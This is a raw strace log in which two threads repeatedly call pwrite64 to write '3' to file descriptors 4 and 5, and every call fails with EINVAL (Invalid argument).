[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
